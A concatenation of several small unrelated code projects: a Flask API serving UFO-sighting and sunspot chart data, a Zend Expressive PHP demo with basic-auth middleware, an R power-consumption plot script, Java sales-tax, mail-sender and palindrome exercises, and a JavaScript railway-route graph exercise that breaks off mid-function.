str(self.start) in self.pie_chart_data_statistic[self.country]: for pie_chart_group_type in constants.PIE_CHART_DATASET_TYPES: single_year_data_items = self.pie_chart_data_statistic[self.country][str(self.start)][ pie_chart_group_type] for data_item_key, data_item_value in single_year_data_items.items(): if pie_chart_group_type in self.pie_chart_data: if data_item_key in self.pie_chart_data[pie_chart_group_type]: self.pie_chart_data[pie_chart_group_type][data_item_key]['value'] += \ data_item_value['value'] else: self.pie_chart_data[pie_chart_group_type][data_item_key] = data_item_value else: self.pie_chart_data[pie_chart_group_type] = { data_item_key: data_item_value } self.start += 1 for group_chart_type_key, chart_data_group_values in self.stock_chart_data.items(): for chart_type_key, chart_type_value in chart_data_group_values.items(): self.stock_chart_data[group_chart_type_key][chart_type_key] = sorted(chart_type_value, key=lambda k: k[ 'milliseconds_date']) chart_response = { 'pie_chart_data': self.pie_chart_data, 'stock_chart_data': self.stock_chart_data, 'years_range': self.years_range_data, 'countries_data': { 'countries': self.chart_data_countries, 'selected_country': self.country }, 'test': 'test' } return self.jsonify(chart_response) <file_sep>/helpers.py def handle_set_value(): return None <file_sep>/modules/datasets_creating_modules/short_dataset.py import csv import copy from common.helpers import create_file, get_file_real_path items = {} regions_schema = {} sub_regions_schema = {} years_range = {'start': None, 'stop': None} region_types = { '0': [], '1': [], '2': [], '3': [] } temporary_region_types_helpers = { 'NOT_GROUPED': '0', '1': 'city', '2': 'state/province', '3': 'country' } temporary_region_helper_id_set = {} sub_schema_region_id = 0 small_details_columns = { 'Date_time': 0, '1': 1, '2': 2, '3': 3, 'UFO_shape': 4, 'length_of_encounter_seconds': 5, 'described_duration_of_encounter': 6, 'description': 7, 'latitude': 9, 'longitude': 10 } def set_year_range(year): if years_range['start'] is not None: if year < years_range['start']: years_range['start'] = year elif year > years_range['stop']: years_range['stop'] = year else: years_range['start'] = year years_range['stop'] = year def set_schema_item(item, date_variants_dict): for date_key, date_value in date_variants_dict.items(): # 7 variants global sub_schema_region_id if date_value not in regions_schema: regions_schema[date_value] = copy.deepcopy(region_types) # sets unic date key for region_type in region_types: sub_schema_region_id += 1 region_id = temporary_region_types_helpers['NOT_GROUPED'] + str(sub_schema_region_id) if \ region_type == temporary_region_types_helpers['NOT_GROUPED'] else item[region_type] region_id_unic_key = region_type + '_' + region_id + '_' + date_value if region_id_unic_key in temporary_region_helper_id_set: current_region_id = temporary_region_helper_id_set[region_id_unic_key] if item['item_id'] not in sub_regions_schema[current_region_id]: sub_regions_schema[current_region_id].append(item['item_id']) else: region_ids = regions_schema[date_value][region_type] regions_schema[date_value][region_type] = [sub_schema_region_id, *region_ids] temporary_region_helper_id_set[region_id_unic_key] = sub_schema_region_id sub_regions_schema[sub_schema_region_id] = [item['item_id']] def create_short_dataset(): count = 0 csvfile = open(get_file_real_path('ufo_sighting_data.csv'), 'r') data = csv.reader(csvfile) header = next(data) for row in data: count += 1 print(count) item = {'item_id': count} for key, value in small_details_columns.items(): item[key] = row[value] month_day_year, item_time = map(str, item['Date_time'].split(' ')) month, day, year = map(int, month_day_year.split('/')) date_variants = { 'day_month': str(day) + '/' + str(month), 'day_year': str(day) + '/' + str(year), 'day_month_year': str(day) + '/' + str(month) + '/' + str(year), 'month_year': str(month) + '/' + str(year), 'only_day': str(day), 'only_month': str(month), 'only_year': str(year) } set_schema_item(item, date_variants) set_year_range(year) items[item['item_id']] = item create_file('items.json', items) create_file('years_range.json', years_range) create_file('regions_schema.json', regions_schema) create_file('sub_regions_schema.json', sub_regions_schema) <file_sep>/app.py from flask import Flask, request, render_template from modules.request_controllers import UfoItems, UfoChart app = Flask(__name__) @app.route('/items', methods=["POST"]) def get_schema(): return UfoItems(request.data).get_all_items() @app.route('/chart_data', methods=["POST"]) def get_chart_data(): return UfoChart(request.data).get_ufo_chart_data() @app.route("/") def send_web_app(): return render_template("index.html") if __name__ == '__main__': # on running python app.py app.run(debug=True) <file_sep>/modules/request_controllers/ufo_items_controller.py from common.helpers import get_full_range_from_extremes from modules.request_controllers.ufo_request_controller_base import BaseController def get_full_item_body(first_sub_item_body, single_region_sub_items_ids, region_type): return { 'longitude': first_sub_item_body['longitude'], 'latitude': first_sub_item_body['latitude'], 'size': len(single_region_sub_items_ids), 'location': first_sub_item_body[region_type], 'sub_items_ids': single_region_sub_items_ids } class UfoItems(BaseController): def __init__(self, request_data): data = self.parse(request_data) self.region_type = data['regionType'] self.year = data['year'] self.day = data['day'] self.month = data['month'] self.schema_keys = [] self.sub_regions_schema_items_ids = self.read_file('sub_regions_schema.json') self.all_ufo_items = self.read_file('items.json') self.regions_schema_items_ids = self.read_file('regions_schema.json') def schema_keys_set(self): years_full_range = get_full_range_from_extremes(self.year) months_full_range = get_full_range_from_extremes(self.month) days_full_range = get_full_range_from_extremes(self.day) for year in years_full_range: for month in months_full_range: for day in days_full_range: schema_tem = "%s/%s/%s" % (day, month, year) self.schema_keys.append(schema_tem) def get_all_items(self): self.schema_keys_set() items_to_send = {} region_type = self.region_type for key in self.schema_keys: if key in self.regions_schema_items_ids: regions_list = self.regions_schema_items_ids[key][region_type] for region_id in regions_list: single_region_sub_items_ids = self.sub_regions_schema_items_ids[str(region_id)] first_sub_item_id_to_get_info_to_group_parent = single_region_sub_items_ids[0] first_sub_item_body = self.all_ufo_items[str(first_sub_item_id_to_get_info_to_group_parent)] if region_type in first_sub_item_body: if first_sub_item_body[region_type] in items_to_send: items_to_send[first_sub_item_body[region_type]]['size'] += len( single_region_sub_items_ids) items_to_send[first_sub_item_body[region_type]]['sub_items_ids'] = [ *items_to_send[first_sub_item_body[region_type]], single_region_sub_items_ids ] else: items_to_send[first_sub_item_body[region_type]] = get_full_item_body( first_sub_item_body, single_region_sub_items_ids, region_type ) else: items_to_send[first_sub_item_body['item_id']] = get_full_item_body( first_sub_item_body, single_region_sub_items_ids, region_type ) return self.jsonify(items_to_send) <file_sep>/common/__init__.py from .constants import PIE_CHART_DATASET_TYPES, STOCK_CHART_DATA_GROUPED_TYPES from .helpers import \ create_file,\ dict_update,\ get_file_real_path,\ get_date_millisecods,\ pie_chart_month_helper, \ handle_get_item_country,\ get_full_range_from_extremes <file_sep>/modules/request_controllers/__init__.py from .ufo_chart_controller import UfoChart from .ufo_items_controller import UfoItems from .ufo_request_controller_base import BaseController <file_sep>/README.md # ufo-project-api <file_sep>/common/constants.py import common.helpers as helper PIE_CHART_DATASET_TYPES = { 'month': lambda args: helper.pie_chart_month_helper(args), 'shape': lambda args: args['UFO_shape'], } STOCK_CHART_DATA_GROUPED_TYPES = { 'day': lambda *args: helper.get_date_millisecods(*args), 'month': lambda *args: helper.get_date_millisecods(args[0], args[1], 1), 'year': lambda *args: helper.get_date_millisecods(args[0], 1, 1) } <file_sep>/common/helpers.py import os import json import glom import datetime epoch = datetime.datetime.utcfromtimestamp(0) countries_fullname_map = { 'us': 'USA', 'gb': 'Great Britain', 'ca': 'Canada', 'au': 'Australia', 'de': 'Germany' } def handle_get_item_country(country): other = 'Other' return countries_fullname_map[country] if country != "" else other def unix_time_millis(dt): return (dt - epoch).total_seconds() * 1000.0 def get_date_millisecods(*args): year, month, day = map(int, list(args)) dt = datetime.datetime(year, month, day) return unix_time_millis(dt) def pie_chart_month_helper(item_value): month_day_year, item_time = map(str, item_value['Date_time'].split(' ')) month, day, year = map(str, month_day_year.split('/')) return month def get_file_real_path(file_name): return os.path.join(os.path.dirname(__file__), '..', 'datasets', file_name) def read_file(file_name): real_path = get_file_real_path(file_name) with open(real_path) as file: return json.load(file) def create_file(file_name, data): real_path = get_file_real_path(file_name) with open(real_path, 'w') as outfile: json.dump(data, outfile, indent=4, default=str) def get_full_range_from_extremes(range_extremes): full_range = [] for range_item in range(range_extremes['start'], range_extremes['stop']): full_range.append(range_item) return full_range def dict_update(dictionary, path, unic_key, value, value_format_callback=None): path_length = len(path) - 1 for index, path_level_item in enumerate(path): is_last_iteration = path_length == index str_unic_key = unic_key step_path = ".".join(path[:index + 1]) current_step_depth_level_value = {} try: current_step_depth_level_value = glom.glom(dictionary, step_path) if is_last_iteration: if value_format_callback is not None: current_step_depth_level_value[str_unic_key] = value_format_callback( current_step_depth_level_value[str_unic_key]) step_path_level_value = current_step_depth_level_value dictionary = glom.assign(dictionary, step_path, step_path_level_value) except: step_path_level_value = {} if is_last_iteration: current_step_depth_level_value[str_unic_key] = value step_path_level_value = current_step_depth_level_value dictionary = glom.assign(dictionary, step_path, step_path_level_value) <file_sep>/modules/datasets_creating_modules/sunspot_data_statistic.py import csv from common.helpers import create_file, get_file_real_path, dict_update from common.constants import STOCK_CHART_DATA_GROUPED_TYPES sunspot_dataset_details_columns = { 'Year': 1, 'Month': 2, 'Day': 3, 'Date In Fraction Of Year': 4, 'Number of Sunspots': 5, 'Observations': 7, 'Indicator': 8 } def create_sunspot_chart_data(): count = 0 sunspot_chart_data = {} path = get_file_real_path('sunspot_data.csv') csvfile = open(path, 'r') data = csv.reader(csvfile) header = next(data) for row in data: count += 1 print(count) item = {'item_id': count} for key, value in sunspot_dataset_details_columns.items(): item[key] = row[value] for chart_data_grouped_type_key, get_milliseconds_by_group_type in STOCK_CHART_DATA_GROUPED_TYPES.items(): item_milliseconds_date = get_milliseconds_by_group_type(item['Year'], item['Month'], item['Day']) value_to_set = { "milliseconds_date": item_milliseconds_date, "value": int(item['Number of Sunspots']) } dict_update( sunspot_chart_data, [item['Year'], chart_data_grouped_type_key, item_milliseconds_date], item_milliseconds_date, value_to_set, None ) create_file('sunspot_chart_data.json', sunspot_chart_data) <file_sep>/modules/datasets_creating_modules/stock_chart.py import common.helpers as helpers from common.constants import STOCK_CHART_DATA_GROUPED_TYPES def create_stock_chart_data(): count = 0 chart_dataset = {} countries = [] chart_data_items = helpers.read_file('items.json') for chart_data_grouped_type_key, get_milliseconds_by_group_type in STOCK_CHART_DATA_GROUPED_TYPES.items(): for item_key, item_value in chart_data_items.items(): count += 1 print(count) month_day_year, item_time = map(str, item_value['Date_time'].split(' ')) month, day, year = map(int, month_day_year.split('/')) item_milliseconds_date = get_milliseconds_by_group_type(year, month, day) item_country = helpers.handle_get_item_country(item_value['3']) if item_country not in countries: countries.append(item_country) value_to_set = { 'milliseconds_date': item_milliseconds_date, 'value': 1 } def value_format_callback(value): value['value'] += 1 return value helpers.dict_update( chart_dataset, [item_country, str(year), chart_data_grouped_type_key], item_milliseconds_date, value_to_set, value_format_callback ) helpers.create_file('chart_data_statistic.json', chart_dataset) helpers.create_file('chart_data_countries.json', countries) <file_sep>/modules/datasets_creating_modules/__init__.py from .pie_chart import create_pie_chart_dataset from .short_dataset import create_short_dataset from .stock_chart import create_stock_chart_data from .sunspot_data_statistic import create_sunspot_chart_data <file_sep>/modules/datasets_creating_modules/pie_chart.py import common.helpers as helpers from common.constants import PIE_CHART_DATASET_TYPES def get_items_dataset(): return helpers.read_file('items.json') def value_format(value): value['value'] += 1 return value def create_pie_chart_dataset(): pie_chart_response_data = {} items_dataset = get_items_dataset() count = 0 for item_key, item_value in items_dataset.items(): for chart_type_key, get_chart_type_value in PIE_CHART_DATASET_TYPES.items(): count += 1 print(count) chart_type_sub_type_value = get_chart_type_value(item_value) month_day_year, item_time = map(str, item_value['Date_time'].split(' ')) month, day, year = map(str, month_day_year.split('/')) item_country = helpers.handle_get_item_country(item_value['3']) value_to_set = { 'name': chart_type_sub_type_value, 'value': 1 } helpers.dict_update( pie_chart_response_data, [item_country, year, chart_type_key], chart_type_sub_type_value, value_to_set, value_format ) helpers.create_file('pie_chart_data_statistic.json', pie_chart_response_data) <file_sep>/modules/datasets_creating_modules/create_dataets_controls.py from modules.datasets_creating_modules.short_dataset import create_short_dataset from modules.datasets_creating_modules.pie_chart import create_pie_chart_dataset from modules.datasets_creating_modules.stock_chart import create_stock_chart_data from modules.datasets_creating_modules.sunspot_data_statistic import create_sunspot_chart_data # create_pie_chart_dataset() # create_stock_chart_data() # create_short_dataset() # create_sunspot_chart_data() <file_sep>/modules/request_controllers/ufo_request_controller_base.py import json from flask import jsonify import common.helpers as helpers class BaseController: def read_file(self, file_name): return helpers.read_file(file_name) def parse(self, data_to_parse): return json.loads(data_to_parse) def jsonify(self, data_to_jsonify): return jsonify(data_to_jsonify)
2576a11dc7a63ec6cfa67bfac630c854cf7fc0c3
[ "Markdown", "Python" ]
16
Python
ivan629/ufo-project-api
5e57b8fd03f2be7775295cf7979bd17d7f4e8307
61866b72d7128137590a11539abc34b4a22da52b
refs/heads/master
<file_sep><?php namespace App\Middleware; use Interop\Container\ContainerInterface; use Zend\Expressive\Template\TemplateRendererInterface; class UnavailableMiddlewareFactory { public function __invoke(ContainerInterface $container, $requestedName, array $options = null) { return new UnavailableMiddleware($container->get(TemplateRendererInterface::class)); } }<file_sep><?php namespace App\Middleware; use Psr\Http\Message\ResponseInterface; use Psr\Http\Message\ServerRequestInterface; use Zend\Diactoros\Response\HtmlResponse; class UnavailableMiddleware { private $template; public function __construct($template) { $this->template = $template; } public function __invoke(ServerRequestInterface $request, ResponseInterface $response, callable $next = null) { if (date('G') == '23' || (date('G') == '0' && date('i') < '30')) { return new HtmlResponse($this->template->render('app::unavailable')); } $response = $next($request, $response); return $response; } }<file_sep><?php namespace App\Middleware; use Interop\Container\ContainerInterface; use Zend\Expressive\Router\RouterInterface; use Zend\Expressive\Helper\UrlHelper; class AuthMiddlewareFactory { public function __invoke(ContainerInterface $container, $requestedName, array $options = null) { $helper=new UrlHelper($container->get(RouterInterface::class)); return new AuthMiddleware($helper); } }<file_sep><?php namespace App\Action; use Psr\Http\Message\ResponseInterface; use Psr\Http\Message\ServerRequestInterface; class DownloadAction { public function __invoke(ServerRequestInterface $request, ResponseInterface $response, callable $next = null) { $file='data'.$request->getUri()->getPath(); if(is_readable($file)){ return $response ->write(file_get_contents($file)) ->withHeader('Content-Disposition','inline; filename="' . pathinfo($file,PATHINFO_BASENAME) . '"') ->withHeader('Content-type',pathinfo($file,PATHINFO_EXTENSION)) ->withStatus(200); }else{ return $next($request, $response); } } } <file_sep><?php namespace App\Action; use Psr\Http\Message\ResponseInterface; use Psr\Http\Message\ServerRequestInterface; use Zend\Expressive\Template\TemplateRendererInterface; use Zend\Diactoros\Response\HtmlResponse; class ListAction { private $adapter; private $template; public function __construct(TemplateRendererInterface $template, $adapter) { $this->adapter = $adapter; $this->template = $template; } public function __invoke(ServerRequestInterface $request, ResponseInterface $response, callable $next = null) { $statement = $this->adapter->query('select * from profile'); $users = $statement->execute(); return new HtmlResponse($this->template->render('app::list', ['users' => $users])); } }<file_sep><?php $provider = new Zend\Db\ConfigProvider(); return $provider(); <file_sep><?php return [ 'dependencies' => [ 'invokables' => [ Zend\Expressive\Router\RouterInterface::class => Zend\Expressive\Router\FastRouteRouter::class, App\Action\PingAction::class => App\Action\PingAction::class, ], 'factories' => [ App\Action\HomePageAction::class => App\Action\HomePageFactory::class, App\Action\ListAction::class => App\Action\ListActionFactory::class, ], ], 'routes' => [ [ 'name' => 'home', 'path' => '/', 'middleware' => App\Action\HomePageAction::class, 'allowed_methods' => ['GET'], ], [ 'name' => 'api.ping', 'path' => '/api/ping', 'middleware' => App\Action\PingAction::class, 'allowed_methods' => ['GET'], ], [ 'name' => 'user.list', 'path' => '/list', 'middleware' => App\Action\ListAction::class, 'allowed_methods' => ['GET'], ], [ 'name' => 'download', 'path' => '/download/{file:[_0-9a-zA-Z\-]+\.\w{1,}}', 'middleware' => App\Action\DownloadAction::class, 'allowed_methods' => ['GET'], ], ], ]; <file_sep><?php namespace App\Middleware; use Psr\Http\Message\ResponseInterface; use Psr\Http\Message\ServerRequestInterface; use Zend\Expressive\Helper\UrlHelper; class AuthMiddleware { private $helper; public function __construct(UrlHelper $helper) { $this->helper=$helper; } public function __invoke(ServerRequestInterface $request, ResponseInterface $response, callable $next = null) { if($this->helper->generate('api.ping')!=$request->getUri()->getPath()) { $auth = $this->parseAuth($request->getHeaderLine('Authorization')); if (!$auth or !$this->checkUserPass($auth['user'], $auth['pass'])) { return $response ->withHeader('WWW-Authenticate', 'Basic realm=""') ->withStatus(401); } } $response = $next($request, $response); return $response; } private function parseAuth($header) { if (strpos($header, 'Basic') !== 0) { return false; } $header = explode(':', base64_decode(substr($header, 6))); return [ 'user' => $header[0], 'pass' => isset($header[1]) ?? $header[1], ]; } private function checkUserPass($user,$pass) { return ($user=='myuser' and $pass=='<PASSWORD>'); } }<file_sep># Zend Expressive CoderConf [![Build Status](https://secure.travis-ci.org/zendframework/zend-expressive-skeleton.svg?branch=master)](https://secure.travis-ci.org/zendframework/zend-expressive-skeleton) This repository create for my presentation in coderconf.org conference. html authorization: username: myuser password: <PASSWORD> <file_sep><?php namespace App\Action; use Interop\Container\ContainerInterface; use Zend\Db\Adapter\AdapterInterface; use Zend\Expressive\Template\TemplateRendererInterface; class ListActionFactory { public function __invoke(ContainerInterface $container) { $template = ($container->has(TemplateRendererInterface::class)) ? $container->get(TemplateRendererInterface::class) : null; $adapter = ($container->has(AdapterInterface::class)) ? $container->get(AdapterInterface::class) : null; return new ListAction($template,$adapter); } }
ef2567457e63fda16e0a55ed0067ae47e68b4cf0
[ "Markdown", "PHP" ]
10
PHP
ooghry/Zend-Expressive-CoderConf
d019e09044ac46484be05e82927e4b08cdc470b7
aa8e7ec1add727a7c3976182c502b31261e2f2e5
refs/heads/Revision_1.0
<file_sep>package com.xebia.salestax.util; import com.xebia.salestax.exception.SalesTaxException; /** * <b>MathUtil</b> * Utility class contains 2 method to round number upto 2 decimal places. * * @author <NAME> * */ public class MathUtil { /** * Method to round number up to the nearest 0.05 * * @param number * - Accepts number be rounded as Double. * @return Returns rounded number. */ public static Double roundTax(Double number) { if (null != number) { return Math.ceil(number * 20) / 20; } throw new SalesTaxException("Number cannot be null."); } /** * Method to round number up to 2 decimal places. * * @param number * - Accepts number be rounded as Double. * @return Returns rounded number. */ public static Double roundPrice(Double number) { if (null != number) { return Math.round(number * 100.0) / 100.0; } throw new SalesTaxException("Number cannot be null."); } } <file_sep>package com.xebia.salestax.model; import java.util.Set; import com.xebia.salestax.exception.SalesTaxException; /** * <b>Basket</b> * * @author <NAME> * */ public class Basket { private Set<Product> products; private Double salesTax; private Double totalPrice; public Basket() { } public Basket(Set<Product> products) { this.products = products; } public Set<Product> getProducts() { return products; } public void setProducts(Set<Product> products) { this.products = products; } public Double getSalesTax() { return salesTax; } public void setSalesTax(Double salesTax) { this.salesTax = salesTax; } public Double getTotalPrice() { return totalPrice; } public void setTotalPrice(Double totalPrice) { this.totalPrice = totalPrice; } /** * Method to print the invoice. Accepts nothing, returns nothing. */ public void printReceipt() { if (null != products && !products.isEmpty()) { products.forEach(product -> { System.out.println(product.getQuantity() + " " + product.getName() + " : " + product.getPriceWithTax()); }); System.out.println("Sales Taxes: " + this.salesTax.doubleValue() + "\nTotal: " + this.getTotalPrice()); } else { throw new SalesTaxException("Product list is empty."); } } } <file_sep>package com.xebia.sendmail; import java.util.Arrays; import java.util.HashMap; import java.util.HashSet; import java.util.List; import java.util.Map; import java.util.Set; import java.util.stream.Collectors; /** * <b>MailSender</b> Class contains method to send mail to the network of * friends. * * @author <NAME> * */ public class MailSender { public static void main(String[] args) { String[][] friendsArray = { { "<EMAIL>", "<EMAIL>,<EMAIL>,<EMAIL>" }, { "<EMAIL>", "<EMAIL>,<EMAIL>,<EMAIL>" }, { "<EMAIL>", "<EMAIL>,<EMAIL>,<EMAIL>" } }; MailSender mailSender = new MailSender(); mailSender.sendMail("<EMAIL>", "Test Mail!", friendsArray); } public void sendMail(String emailAddress, String message, String[][] friendsArray) { if (null != emailAddress && !emailAddress.isEmpty() && friendsArray.length > 0) { /* * Creating map from array. */ Map<String, List<String>> friendsMap = new HashMap<>(); for (int i = 0; i < friendsArray.length; i++) { /* * Performing trim on each email in case comma separated emails has space in * between. <EMAIL>, <EMAIL>, <EMAIL> --To handle this * situation. */ friendsMap.put(friendsArray[i][0], Arrays.asList(friendsArray[i][1].split(",")).stream() .map(name -> name.trim()).collect(Collectors.toList())); } Set<String> recipients = new HashSet<>(); recipients = getRecipients(emailAddress, friendsMap, recipients); recipients.remove(emailAddress); if (null != recipients && !recipients.isEmpty()) { MailSender mailSender = new MailSender(); recipients.forEach(recipient -> { String customizedMessage = new StringBuilder("From : ").append(emailAddress).append("\nMessage : ") .append(message).append("\n").toString(); mailSender.sendMail(recipient, customizedMessage); }); } else { System.out.println("No recipient!"); } } else { System.out.println("Invalid input. Please check your input & try again!"); } } /** * Method to send mail to all the friends in network * * @param emailAddress * @param message */ public void sendMail(String emailAddress, String message) { /* * NOTE : Since these are the dummy mail IDs therefore I'm just printing To, * From & Email here. I'm not trying to send the actual email here but if we * want to do so we can leverage Java Mail API. */ System.out.println("To : " + emailAddress + "\n" + message); } /** * Recursive method to find out the whole network of friends or friend. * * @param senderEmail * @param friendsMap * @param recipients * @return Returns set of recipients. */ private static Set<String> getRecipients(String senderEmail, Map<String, List<String>> friendsMap, Set<String> recipients) { List<String> friends = friendsMap.get(senderEmail); if (null != friends && !friends.isEmpty()) { friends.forEach(friend -> { if (!friend.isEmpty() && !recipients.contains(friend)) { recipients.add(friend); getRecipients(friend, friendsMap, recipients); // --Recursive call } }); } return recipients; } } <file_sep>package com.xebia.salestax.model; /** * <b>Category</b> * Enum to contain product category to determine whether product is from free from tax or not. * @author <NAME> * */ public enum Category { TAX_EXEMPTED, NON_TAX_EXEMPTED; } <file_sep>package com.xebia.shortestpalindrome; /** * <b>ShortestPalindrome</b> Class contains method to create palindrome string * if not. * * @author <NAME> * */ public class ShortestPalindrome { public static void main(String[] args) { ShortestPalindrome shortestPalindrome = new ShortestPalindrome(); System.out.println(shortestPalindrome.makePalindrome("palin")); System.out.println(shortestPalindrome.makePalindrome("a")); System.out.println(shortestPalindrome.makePalindrome("ab")); System.out.println(shortestPalindrome.makePalindrome("aba")); } /** * Method to create input string palindrome if not. * * @param stringToMakePalindrome * - Accepts String whose palindrome to be created. */ public String makePalindrome(String stringToMakePalindrome) { if (null != stringToMakePalindrome && !stringToMakePalindrome.isEmpty()) { if (isAlreadyPalindrome(stringToMakePalindrome)) { /* * Checking if the input string is already a palindrome if that is the case then * no need to go further. We can return same string from here. */ return stringToMakePalindrome; } else { StringBuilder temporaryString = new StringBuilder(); char[] characters = stringToMakePalindrome.toCharArray(); int i = 0; int j = characters.length - 1; while (i != j) { if (characters[i] != characters[j]) { temporaryString.insert(0, characters[i]); } else { temporaryString.insert(0, characters[j--]); } i++; } String resultedString = stringToMakePalindrome.substring(0, i + 1) + temporaryString; return resultedString; } } else { return "Invalid String Input. String cannot be null or blank!"; } } /** * Method to check whether given string is a palindrome or not. * * @param stringToCheckForPalindrome * - Accepts String to be checked for palindrome. * @return Returns true if given string is palindrome false otherwise. */ private static boolean isAlreadyPalindrome(String stringToCheckForPalindrome) { return stringToCheckForPalindrome .equalsIgnoreCase(new StringBuilder(stringToCheckForPalindrome).reverse().toString()); } } <file_sep>package com.xebia.salestax.util; /** * <b>Constants</b> * Class which contains all the application related contants. * @author <NAME> * */ public class Constants { public static final double SALES_TAX_PERCENT = 10.0; public static final double IMPORT_DUTY_PERCENT = 5.0; public static final String IMPORTED = "imported"; public static final String BOOK = "book"; public static final String CHOCOLATE = "chocolate"; public static final String MUSIC_CD = "music CD"; public static final String PERFUME = "book"; public static final String HEADACHE_PILLS = "headache pills"; } <file_sep>package com.xebia.salestax; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNotNull; import org.junit.Before; import org.junit.Test; import com.xebia.salestax.model.Category; import com.xebia.salestax.model.Product; public class TaxCalculatorImplTest { private TaxCalculator taxCalculator; @Before public void setup() { taxCalculator=new TaxCalculatorImpl(); } @Test public void calculateTaxTest1() { Product product=new Product(1,"book",12.47,false,Category.TAX_EXEMPTED); Double tax=taxCalculator.calculateTax(product); assertNotNull(tax); assertEquals(new Double(0.0),tax); } @Test public void calculateTaxTest2() { Product product=new Product(1,"music CD",14.99,false,Category.NON_TAX_EXEMPTED); Double tax=taxCalculator.calculateTax(product); assertNotNull(tax); assertEquals(new Double(1.499),tax); } @Test public void calculateTaxTest3() { Product product=new Product(1,"chocolate bar",0.85,false,Category.TAX_EXEMPTED); Double tax=taxCalculator.calculateTax(product); assertNotNull(tax); assertEquals(new Double(0.0),tax); } @Test public void calculateTaxTest4() { Product product=new Product(1,"imported box of chocolates",10.00,true,Category.TAX_EXEMPTED); Double tax=taxCalculator.calculateTax(product); assertNotNull(tax); assertEquals(new Double(0.5),tax); } @Test public void calculateTaxTest5() { Product product=new Product(1,"imported bottle of perfume",47.50,true,Category.NON_TAX_EXEMPTED); Double tax=taxCalculator.calculateTax(product); assertNotNull(tax); assertEquals(new Double(7.125),tax); } @Test public void calculateTaxTest6() { Product product=new Product(1,"packet of headache pills",9.75,false,Category.TAX_EXEMPTED); Double tax=taxCalculator.calculateTax(product); assertNotNull(tax); assertEquals(new Double(0.0),tax); } @Test public void calculateTaxTest7() { Double tax=taxCalculator.calculateTax(null); assertNotNull(tax); assertEquals(new Double(0.0),tax); } }
f7757c89055825d64762d558242a11deba89feaf
[ "Java" ]
7
Java
jitin153/xebia-assignments
ca08da3c1e9afd58a661f3474d5ac253cba0eb1e
52d648908a55eea47b29f86a792d5558013f4e59
refs/heads/master
<file_sep>## Create a colClasses vector colCl <- c("character", "character", "numeric", "numeric", "numeric", "numeric", "numeric", "numeric", "numeric") ## Read the file pcons <- read.table("household_power_consumption.txt", header = TRUE, sep = ";", na.strings = "?", colClasses = colCl) ## Replace Date and Time columns with a merged column (Time) in POSIXct format pcons$Time <- strptime(paste(pcons$Date, pcons$Time), format = "%d/%m/%Y %H:%M:%S") ## Remove records not required pcons <- subset(pcons, (pcons$Time >= strptime("2007-02-01", format = "%Y-%m-%d") & pcons$Time < strptime("2007-02-03", format = "%Y-%m-%d") ), select = -Date) ## Open the PNG device png(filename = "plot2.png", width = 480, height = 480) ## Plot the second graph with(pcons, plot(Time, Global_active_power, type = "l", xlab = "", ylab = "Global Active Power (kilowatts)")) ## Close the PNG device dev.off()
7917448d99e2c49eda28d905966aa8dce3b18e9d
[ "R" ]
1
R
awilmsmeier/ExData_Plotting1
74bef9c70015bc06a71374413ec9b18e255188e2
52bf3e882bdb76fff78a1c59e6731a17de58e078
refs/heads/main
<file_sep>// Parse inputs for railway routes/nodes and distances function createDGraph(nodes) { // Regex to separate routes/nodes from their distances using a global modifier let regex = new RegExp('([0-9]+)|([a-zA-Z]+)','g'); let nodes_list = []; let nodes_map = {}; nodes_list = nodes.split(','); nodes_list = nodes_list.map(node => node.trim()); for (var i = 0; i < nodes_list.length; i++) { // Start of route let route_start = nodes_list[i].split('')[0]; // End of route let route_end = nodes_list[i].split('')[1]; // The distance between the set of routes/nodes let route_distance = parseInt(nodes_list[i].match(regex)[1]); if (!(route_start in nodes_map)) { // Add the routes/nodes and distances into a map nodes_map[route_start] = {[route_end]: route_distance}; } else { // Add a key do the dictionary's value nodes_map[route_start][route_end] = route_distance; } } return nodes_map; } // --------------------------------------------------------------------------------------------- // Get distances of railway routes/nodes function findDistances(nodes_map) { // 1. The distance of the route A-B-C. let ABC = null; // If the route exists, calculate the distance otherwise output "NO SUCH ROUTE" if (nodes_map['A']['B'] && nodes_map['B']['C']) { ABC = nodes_map['A']['B'] + nodes_map['B']['C']; } else { ABC = "NO SUCH ROUTE"; } console.log("Output # 1: " + ABC); // 2. The distance of the route A-D. let AD = null; // If the route exists, calculate the distance otherwise output "NO SUCH ROUTE" if (nodes_map['A']['D']) { AD = nodes_map['A']['D']; } else { AD = "NO SUCH ROUTE"; } console.log("Output # 2: " + AD); // 3. The distance of the route A-D-C. let ADC = null; // If the route exists, calculate the distance otherwise output "NO SUCH ROUTE" if (nodes_map['A']['D'] && nodes_map['D']['C']) { ADC = nodes_map['A']['D'] + nodes_map['D']['C']; } else { ADC = "NO SUCH ROUTE"; } console.log("Output # 3: " + ADC); // 4. The distance of the route A-E-B-C-D. let AEBCD = null; // If the route exists, calculate the distance otherwise output "NO SUCH ROUTE" if (nodes_map['A']['E'] && nodes_map['E']['B'] && nodes_map['B']['C'] && nodes_map['C']['D']) { AEBCD = nodes_map['A']['E'] + nodes_map['E']['B'] + nodes_map['B']['C'] + nodes_map['C']['D']; } else { AEBCD = "NO SUCH ROUTE"; } console.log("Output # 4: " + AEBCD); // 5. The distance of the route A-E-D. let AED = null; // If the route exists, calculate the distance otherwise output "NO SUCH ROUTE" if (nodes_map['A']['E'] && nodes_map['E']['D']) { AED = nodes_map['A']['E'] + nodes_map['E']['D']; } else { AED = "NO SUCH ROUTE"; } console.log("Output # 5: " + AED); return 0; } // --------------------------------------------------------------------------------------------- // Get the number of trips from 'start' to 'end' with a maximum of 3 stops function number_of_trips(nodes_map, start, end, max_stops) { // Saves the number of possible trips let num_trips = 0; // Saves the visited stops let visited = []; // Contains how many stops we have had for the current route let stops = 0; iterate_stops(start, end, stops, max_stops); return num_trips; // Iterate through the stops in the directed graph function iterate_stops(start, end, stops, max_stops) { // Return "NO SUCH ROUTE" if 'start' and 'end' are not valid stops if ((start in nodes_map) && (end in nodes_map)) { // number of stops we have made stops += 1; // If the number of stops we make is greater than 'max_stops', we know the current route is incorrect if (stops > max_stops) { return 0; } visited.push(start); for (let nearby in nodes_map[start]) { // Check if our incoming stop is equivalent to our 'end' stop if (nearby === end) { // Increase number of possible trips by 1 num_trips += 1; visited = []; return 0; } // move on to the next stop iterate_stops(nearby, end, stops, max_stops); } } else { num_trips = "NO SUCH ROUTE"; return 0; } return 0; } } // --------------------------------------------------------------------------------------------- // Get the number of trips start and ending at C with a maximum of 3 stops function number_of_trips2(nodes_map, start, end, max_stops) { // Saves the number of possible trips let num_trips = 0; // Saves the visited stops let visited = []; // Contains how many stops we have had for the current route let 